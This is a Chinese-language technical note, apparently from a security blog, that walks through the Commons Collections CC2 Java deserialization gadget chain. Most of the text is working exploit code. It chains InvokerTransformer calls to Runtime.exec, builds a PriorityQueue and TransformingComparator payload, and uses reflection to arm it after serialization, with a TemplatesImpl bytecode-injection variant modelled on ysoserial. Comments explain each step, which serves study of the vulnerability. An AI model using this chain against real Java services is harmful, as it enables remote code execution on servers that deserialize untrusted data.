Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "calc" }), };
//不让命令在序列化的时候执行所以写一个没有执行的ChainedTransformer Transformer transformerChain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(1)});
//创建TransformingComparator,因为上面说了调用的是TransformingComparator的compare方法 /* public TransformingComparator(Transformer<? super I, ? extends O> transformer) { this(transformer, ComparatorUtils.NATURAL_COMPARATOR); } public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) { this.decorated = decorated; this.transformer = transformer; } */ //上面是构造方法,就是把transformer存到this.transformer = transformer //this.transformer.transform调用的this.transformer就是ChainedTransformer TransformingComparator comparator = new TransformingComparator(transformerChain);
//创建PriorityQueue,就是需要被序列化的类 /* public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) { // Note: This restriction of at least one is not actually needed, // but continues for 1.5 compatibility if (initialCapacity < 1) throw new IllegalArgumentException(); this.queue = new Object[initialCapacity]; this.comparator = comparator; } */ //首先第一个参数不能小于1不然会报错 //然后创建一个长度为initialCapacity的Object数组 //最后将第二个参数存入this.comparator,这里存入的this.comparator是siftDownUsingComparator方法里的comparator //所以不用通过反射修改this.comparator,直接在构造方法里指定this.comparator=TransformingComparator PriorityQueue priorityQueue = new PriorityQueue(2, comparator); //反射修改size绕过for循环判断 Class priorityQueueClass = priorityQueue.getClass(); Field sizeField = priorityQueueClass.getDeclaredField("size"); sizeField.setAccessible(true); sizeField.set(priorityQueue, 2); //防止在序列化触发,在这里将恶意transformers链修改回来,不过正常状态CC2不存在这种情况 Class transformerChainClass = transformerChain.getClass(); Field transformerChainClassField = transformerChainClass.getDeclaredField("iTransformers"); transformerChainClassField.setAccessible(true); transformerChainClassField.set(transformerChain, transformers);
public Queue<Object> getObject(final String command)throws Exception { //创建TemplatesImpl类,这里面怎么实现的过下看 final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed //创建InvokerTransformer类,这里选择toString是为了序列化之前不触发 final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
//创建需要反序列化的PriorityQueue类,2个参数需要的内容在上面写过了 // create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer)); // stub data for replacement later //因为这里没有使用反射修改size,所以直接添加2个元素,add方法也会让size增加,加2次到2 queue.add(1); queue.add(1);
//反射将toString修改为newTransformer方法,为什么是这个方法在上一篇文章中写过 // switch method called by comparator Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
//在Templates里面写过需要修改三个属性 Field field_bytecodes = templates.getClass().getDeclaredField("_bytecodes"); field_bytecodes.setAccessible(true); field_bytecodes.set(templates, newbyte[][]{byteClass});
Field field_name = templates.getClass().getDeclaredField("_name"); field_name.setAccessible(true); field_name.set(templates, "aaa");
Field field_tfactory = templates.getClass().getDeclaredField("_tfactory"); field_tfactory.setAccessible(true); field_tfactory.set(templates, new TransformerFactoryImpl());
//写一条InvokerTransformer,先调用toString方法后面通过反射更改 InvokerTransformer invokerTransformer = new InvokerTransformer("toString", new Class[] {}, new Object[] {}); //下面基本相同 TransformingComparator comparator = new TransformingComparator(invokerTransformer);
PriorityQueue priorityQueue = new PriorityQueue(2, comparator); //在上面使用Runtime的时候使用反射修改size值来进到循环,这里使用add添加元素增加size的值 //这里不能使用反射修改size的值 priorityQueue.add(1); priorityQueue.add(1);
//这里和ysoserial的CC2相同反射取出queue属性然后修改 Class priorityQueueClass = priorityQueue.getClass(); Field queueField = priorityQueueClass.getDeclaredField("queue"); queueField.setAccessible(true); Object[] queue = (Object[])queueField.get(priorityQueue); queue[0] = templates; queue[1] = 1;
//修改invokerTransformer的iMethodName属性,将toString方法修改为newTransformer方法 Field iMethodNameField = invokerTransformer.getClass().getDeclaredField("iMethodName"); iMethodNameField.setAccessible(true); iMethodNameField.set(invokerTransformer, "newTransformer");
publicintcompare(final I obj1, final I obj2){ final O value1 = this.transformer.transform(obj1); final O value2 = this.transformer.transform(obj2); returnthis.decorated.compare(value1, value2); }
里面的obj1,obj2都为null
回忆下InvokerTransformer的transform方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
public O transform(final Object input){ if (input == null) { returnnull; } try { final Class<?> cls = input.getClass(); final Method method = cls.getMethod(iMethodName, iParamTypes); return (O) method.invoke(input, iArgs); } catch (final NoSuchMethodException ex) { thrownew FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (final IllegalAccessException ex) { thrownew FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (final InvocationTargetException ex) { thrownew FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex); } }